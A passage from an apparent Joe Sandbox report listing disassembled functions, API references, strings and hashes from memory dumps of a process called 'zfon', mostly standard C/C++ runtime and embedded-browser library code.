Opcode ID: d640ca200c76db91b86670c613c98aecf132a6b1f4fab212538182e6c2e15436
Instruction ID: ab3a96addf27b8a242b4f4d9a1d30dd09bf02e61138f6f2d655e5d2ea6e43d60
Opcode Fuzzy Hash: d640ca200c76db91b86670c613c98aecf132a6b1f4fab212538182e6c2e15436
Instruction Fuzzy Hash: 0691A722B19AD5A9EB01DF69D4403AD23B1AB48BE8F444236CF6E13BD9EE7CD045D340

Function 00007FF8BFAD1B44 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFAD3524: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00007FF8BFAD1222), ref: 00007FF8BFAD3564

EncodePointer.KERNEL32 ref: 00007FF8BFAD1BB4
_CallSETranslator.LIBVCRUNTIME ref: 00007FF8BFAD1BFF
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD1E32

Strings

RCC, xrefs: 00007FF8BFAD1BD0
MOC, xrefs: 00007FF8BFAD1BC8

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 51865056d64403dec5eec8f15289c0db639756aedb22486eebb00ed42bb3dd8f
Instruction ID: df7f1e4bff044d706f2d8ff6b31d5f63e66fd20da52b9e454675dd39a8c07a04
Opcode Fuzzy Hash: 51865056d64403dec5eec8f15289c0db639756aedb22486eebb00ed42bb3dd8f
Instruction Fuzzy Hash: CB919177A08B858BE724DBA8E8412AD7BA0FB447CCF105129EB8D17B95DF38D195CB00

Function 00007FF8BFB53F60 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB56E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BFB529EE), ref: 00007FF8BFB56E56

EncodePointer.KERNEL32 ref: 00007FF8BFB53FD0
_CallSETranslator.LIBVCRUNTIME ref: 00007FF8BFB5401B
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB5424E

Strings

MOC, xrefs: 00007FF8BFB53FE4
RCC, xrefs: 00007FF8BFB53FEC

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 38147febd4ea3e6e4a78b6d94c663964a46ac19bb27c7a49567d3dd21f0893b1
Instruction ID: 88f537df7c496e5e821312dfb5aa8c2b8256f67f851ee76375f56b4820594690
Opcode Fuzzy Hash: 38147febd4ea3e6e4a78b6d94c663964a46ac19bb27c7a49567d3dd21f0893b1
Instruction Fuzzy Hash: DC91B073A187918AEB15CBA8E8612AD7BA0FB447C8F144129EF4D17B59DF3CE195CB00

Function 00007FF8BFB5C550 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5C7F0

Strings

std::nullptr_t, xrefs: 00007FF8BFB5C7A9
std::nullptr_t , xrefs: 00007FF8BFB5C780
volatile, xrefs: 00007FF8BFB5C5C6, 00007FF8BFB5C6F7
volatile , xrefs: 00007FF8BFB5C5B7, 00007FF8BFB5C6E8

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2943138195-757766384
Opcode ID: 792524ca3cb326ee1ddc7ad9f90e01459882d709a2987deaa3b684760cdbdca5
Instruction ID: e4c380f6ec8a04ba4b078085213f3cf8abfbb31142861f7f4b8632e9e249ce20
Opcode Fuzzy Hash: 792524ca3cb326ee1ddc7ad9f90e01459882d709a2987deaa3b684760cdbdca5
Instruction Fuzzy Hash: 2B7126B2A08A4298FB558FACD8A01B8B7A6BF057C4F845535DB4D57A99DF3CF260C300

Function 00007FF8BFAD20C8 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF8BFAD20F2

Part of subcall function 00007FF8BFAD3524: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00007FF8BFAD1222), ref: 00007FF8BFAD3564

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD2247

Strings

csm, xrefs: 00007FF8BFAD2117
, xrefs: 00007FF8BFAD2198
csm, xrefs: 00007FF8BFAD2281

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: abort$__except_validate_context_record
String ID: $csm$csm
API String ID: 3000080923-1512788406
Opcode ID: d2e425a725b33c5f85093d2df621a517a4746e4d910d6925cc61b8c9293696ab
Instruction ID: 1130fee300ddfa911ae23fe3739951876ea0fcdba560c38d125154e52b8e44dc
Opcode Fuzzy Hash: d2e425a725b33c5f85093d2df621a517a4746e4d910d6925cc61b8c9293696ab
Instruction Fuzzy Hash: DB71C03A90868197D7388FA9946167A7BE1FB01BCDF04A131EF9C47AD9CE2CD491C700

Function 00007FF8B911D520 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 152COMMON

Download Yara Rule

Strings

ios_base::eofbit set, xrefs: 00007FF8B911D711
ios_base::failbit set, xrefs: 00007FF8B911D70A
ios_base::badbit set, xrefs: 00007FF8B911D6FF

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID:
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 0-1866435925
Opcode ID: 3f2737f50deef84665e9be22b47f0ec4f26eba845b90585ad8b064e2f81e60fc
Instruction ID: fe23654e7ffeedb0e26c742366d7db02af61f148b756170522167579d91c90d8
Opcode Fuzzy Hash: 3f2737f50deef84665e9be22b47f0ec4f26eba845b90585ad8b064e2f81e60fc
Instruction Fuzzy Hash: 4C517B26608BC691EB24CF19E4903AAB760FB84F94F548136DB8D47BA4EF3DD845D700

Function 00007FF8BFB53CF0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB56E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BFB529EE), ref: 00007FF8BFB56E56

EncodePointer.KERNEL32 ref: 00007FF8BFB53D4F
_CallSETranslator.LIBVCRUNTIME ref: 00007FF8BFB53D9B
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB53F57

Strings

RCC, xrefs: 00007FF8BFB53D6B
MOC, xrefs: 00007FF8BFB53D63

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 82646d7cab88117c06501068e7e04168047599fc5f0013deb61a5a573c37227d
Instruction ID: d658f95ec084b3011632309cdc9d17110a6464ef2c98dae8f523ba7a82e02f2b
Opcode Fuzzy Hash: 82646d7cab88117c06501068e7e04168047599fc5f0013deb61a5a573c37227d
Instruction Fuzzy Hash: 74619133908BC581D7618B59E4503AAB7A1FB85BD4F084225EB8D47B95DF7CE1A4CB00

Function 00007FF8B90E7FF8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E7622), ref: 00007FF8B90E8025
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E7622), ref: 00007FF8B90E8039
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E7622), ref: 00007FF8B90E80A5

Strings

(, xrefs: 00007FF8B90E817A

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: iswctype
String ID: (
API String ID: 304682654-3887548279
Opcode ID: 90889625232b288523072e66be704fabc86384961bd469b6d4b5ec7c94db5ec1
Instruction ID: ce17fe2484f278c563d225de6a2fb4781f2f023d535a6c17c81a82acd63585e5
Opcode Fuzzy Hash: 90889625232b288523072e66be704fabc86384961bd469b6d4b5ec7c94db5ec1
Instruction Fuzzy Hash: BA51A026E0C99381FF685F6DD9102BA62A9EF20BD8F488435EF5D46585EF7DEC438210

Function 00007FF8B90E670C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E6732
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E6743
isxdigit.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E679C
isalnum.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E684C

Strings

(, xrefs: 00007FF8B90E6840

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: isspace$isalnumisxdigit
String ID: (
API String ID: 3355161242-3887548279
Opcode ID: 9ada20f4e0d4e9be004ce549e3ff6164ed490b11297bdd8de5b6a3cbde90c071
Instruction ID: 241a4fceb2a3fbd1f2b8140f849e68d043fd12d41e1dbce00be33b9840f1ff1e
Opcode Fuzzy Hash: 9ada20f4e0d4e9be004ce549e3ff6164ed490b11297bdd8de5b6a3cbde90c071
Instruction Fuzzy Hash: B1417F57D0C9C645EF248F3DE6642F96BA19F21BC8F189231CBB807586DA1DE8479710

Function 00007FF8BFB55C50 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 135COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF8BFB55D22

Strings

MOC, xrefs: 00007FF8BFB55C90
csm, xrefs: 00007FF8BFB55DDF
csm, xrefs: 00007FF8BFB55CB2
RCC, xrefs: 00007FF8BFB55C9C

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: FileHeader
String ID: MOC$RCC$csm$csm
API String ID: 104395404-1441736206
Opcode ID: 4b6f8f644bd4ef04a393d3bb1b96f78be418c55213885cdd627a59364db23340
Instruction ID: bfe9da47efd18734aa2a06cdc3e3ca81a34dfc0740784385a63d61c393f9fd90
Opcode Fuzzy Hash: 4b6f8f644bd4ef04a393d3bb1b96f78be418c55213885cdd627a59364db23340
Instruction Fuzzy Hash: A9519C73A1965296EAA09BAD916097D77A0FF447CAF042035EF4D47B81DF3CF8618600

Function 00007FF7F96EE730 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F9703550: cef_string_map_alloc.LIBCEF(?,?,?,?,00007FF7F96E7544), ref: 00007FF7F9703554

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@I@Z.MSVCP140 ref: 00007FF7F96EE88A

Part of subcall function 00007FF7F96EC280: new.LIBCMT ref: 00007FF7F96EC2B6

Part of subcall function 00007FF7F9709C70: new.LIBCMT ref: 00007FF7F9709C85

Strings

c:\projects\hydra\main\code\contrib\contrib\scene\src\source\cef\client_handler_impl.cpp, xrefs: 00007FF7F96EE845
callback_id=, xrefs: 00007FF7F96EE879
[CallJsFunctionInUiThread] calling ui thread , xrefs: 00007FF7F96EE86A
name=, xrefs: 00007FF7F96EE893

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: ??6?$basic_ostream@D@std@@@std@@U?$char_traits@V01@cef_string_map_alloc
String ID: callback_id=$ name=$[CallJsFunctionInUiThread] calling ui thread $c:\projects\hydra\main\code\contrib\contrib\scene\src\source\cef\client_handler_impl.cpp
API String ID: 3922544612-2379361043
Opcode ID: 88080dbf10e0825f453430da8f9bb9d5dc949ec1d8c8c28ab456919ad5181f3d
Instruction ID: 6298ff216ad643400b25738de4072053f8b2df707fbbac0755d2e37be1a832f8
Opcode Fuzzy Hash: 88080dbf10e0825f453430da8f9bb9d5dc949ec1d8c8c28ab456919ad5181f3d
Instruction Fuzzy Hash: BB41D332A18B8681DB50EF25E8401AAE371FBC4B94F948132EAAD033E9DF3DD505C790

Function 00007FF8B90EC0E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8B90EC0FE
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90EC10F
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F5DA0
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F5DB2
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F5E3B

Strings

bad locale name, xrefs: 00007FF8B90EC0F2

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: setlocale$ExceptionThrowstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 1847144839-1405518554
Opcode ID: 69bcb2bf6b235ff80315e2b808b356e45497ea8affdba11730961c61ec674efe
Instruction ID: 9135fae39d3e112dc419976958447221c0ff4d0043918460e843394936279655
Opcode Fuzzy Hash: 69bcb2bf6b235ff80315e2b808b356e45497ea8affdba11730961c61ec674efe
Instruction Fuzzy Hash: 3121C961F1DAC2D5FE749F1D984427A6261EF84BC0F484031DB5D47B95EE2CEA868340

Function 00007FF7F96E1060 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF7F96E10A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E10CA
memmove.VCRUNTIME140 ref: 00007FF7F96E110A
_onexit.LIBCMT ref: 00007FF7F97A4048

Strings

SceneProxy/2.1.0 Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36, xrefs: 00007FF7F96E1076

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _onexitfreememcpymemmove
String ID: SceneProxy/2.1.0 Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
API String ID: 3647039986-2186856816
Opcode ID: 0d81267e62ba211395d2598232a8dfab2f01ed8b8c1adb052575867d0b14fb56
Instruction ID: 0c948a91a088b6b0db3706385a123817643a155a2f4519581a9602adfa3c412d
Opcode Fuzzy Hash: 0d81267e62ba211395d2598232a8dfab2f01ed8b8c1adb052575867d0b14fb56
Instruction Fuzzy Hash: 7F317515D1DB8681E725EF69ED41274A371BFA8BD4F819231DD2D022EEDF2DA18483B0

Function 00007FF8B90EF8C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B90EF917
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90EF928

Strings

ios_base::eofbit set, xrefs: 00007FF8B90EF8F2
ios_base::failbit set, xrefs: 00007FF8B90EF8EB
ios_base::badbit set, xrefs: 00007FF8B90EF8E0

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionThrowstd::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2003779279-1866435925
Opcode ID: 76c8ab17d0850bfdcf0f794a817e6ee97031519e73788a0652dc125c2d8a2d96
Instruction ID: 7eb30c6594e61acb986c3efa78fd980412751dc07071375f8d9e48158c1e5086
Opcode Fuzzy Hash: 76c8ab17d0850bfdcf0f794a817e6ee97031519e73788a0652dc125c2d8a2d96
Instruction Fuzzy Hash: 20018B62E18A8A96EE14CF0CD8415E92361EF90788FB84471D36E876A4EE3DE607C741

Function 00007FF8B90F2CF0 Relevance: 7.8, APIs: 5, Instructions: 334stringCOMMON

Download Yara Rule

APIs

strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90F2D92
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F2DA5
strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90F2DBA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90F3110
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90F315B

Part of subcall function 00007FF8B90F80D8: memmove.VCRUNTIME140(?,?,?,?,00000000,00007FF8B90F5912), ref: 00007FF8B90F8130
Part of subcall function 00007FF8B90F80D8: memset.VCRUNTIME140(?,?,?,?,00000000,00007FF8B90F5912), ref: 00007FF8B90F813F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnstrcspn$localeconvmemmovememset
String ID:
API String ID: 2282448879-0
Opcode ID: 43ba8dbb3fa5cec9301f72fa23c6b9e93b59b68c625457b30bad576e0c72c2b3
Instruction ID: 9a1fa9a1c81bb4af41afdc5979876f11096732bd13441fd8c3bae6418c5a4c97
Opcode Fuzzy Hash: 43ba8dbb3fa5cec9301f72fa23c6b9e93b59b68c625457b30bad576e0c72c2b3
Instruction Fuzzy Hash: 86E16722B18AC6D9EF019F6DC4542EC6771AB48BD8B544232DF5D17BA9DE3CE64AC300

Function 00007FF7F96E6FE0 Relevance: 7.7, APIs: 5, Instructions: 222COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2470: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7F96E22DB), ref: 00007FF7F96E24CB
Part of subcall function 00007FF7F96E2470: memcpy.VCRUNTIME140(?,?,?,00007FF7F96E22DB), ref: 00007FF7F96E24E2
